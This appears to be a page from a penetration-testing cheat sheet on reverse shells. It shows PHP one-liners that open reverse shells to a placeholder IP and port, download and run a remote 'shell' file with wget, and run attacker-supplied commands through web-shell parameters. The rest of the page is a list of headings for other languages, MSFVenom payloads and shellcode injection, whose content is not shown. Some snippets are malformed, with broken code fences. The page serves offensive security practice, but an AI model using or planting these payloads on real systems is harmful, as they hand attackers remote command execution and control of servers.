Reverse shells
PHP Shells
<?php $sock = fsockopen("IP_ADDRESS",PORT); $proc = proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock), $pipes); ?>
```php
<?php system("whoami; wget http://IP_ADDRESS/shell; chmod +x shell; ./shell"); ?>
```php
<?php system("/usr/bin/wget http://IP_ADDRESS/shell.txt -O /dev/shm/shell.php; php /dev/shm/shell.php"); ?>
```php
<?php -r '$sock=fsockopen("IP_ADDRESS",PORT);exec("/bin/sh -i <&3 >&3 2>&3");' ?>
```php
<?php echo system($_REQUEST['cmd']); ?>
```php
<?php echo shell_exec($_GET['cmd']); ?>
```php
<?php exec("/bin/bash -c 'bash -i > /dev/tcp/IP_Address/PORT 0>&1'"); ?>
```php
<?php $output = 'bash -i >& /dev/tcp/IP_ADDRESS/PORT 0>&1';echo "<pre>$output</pre>"; ?>Metasploit PHP Meterpreter
Python Reverse Shells
Command Execution - SSTI (Server-Side Template Injection)
Bash Reverse Shells
Named Pipe Method
Powershell Reverse Shells
Base64 Encoding your payload
Serialize your payload (using ysoserial.net)
Netcat Reverse Shells
Named Pipe Method
Direct Connection
FIFO Method
UDP Netcat Reverse Shell
Attacker Listener for UDP
Perl Reverse Shell
Ruby Reverse Shells
Ruby Reverse Shell For Windows
Java Reverse Shells
Java Reverse Shell 2
Node.js Reverse Shells
Alternative Node.js Payloads
CGI Reverse Shell (Perl)
MSFVenom Payloads
Windows x64 Staged Payloads
Windows x64 Stageless Payloads
Windows x86 Staged Payloads
Windows x86 Stageless Payloads
Linux x64 Staged Payloads
Linux x64 Stageless Payloads
Linux x86 Staged Payloads
Linux x86 Stageless Payloads
ASP Web Shells
ASP Web Shell (with form)
ASP Web Shell 2
ASPX Web Shell
C Reverse Shell
C Program to Inject BIND TCP Shellcode into Running Process
Last updated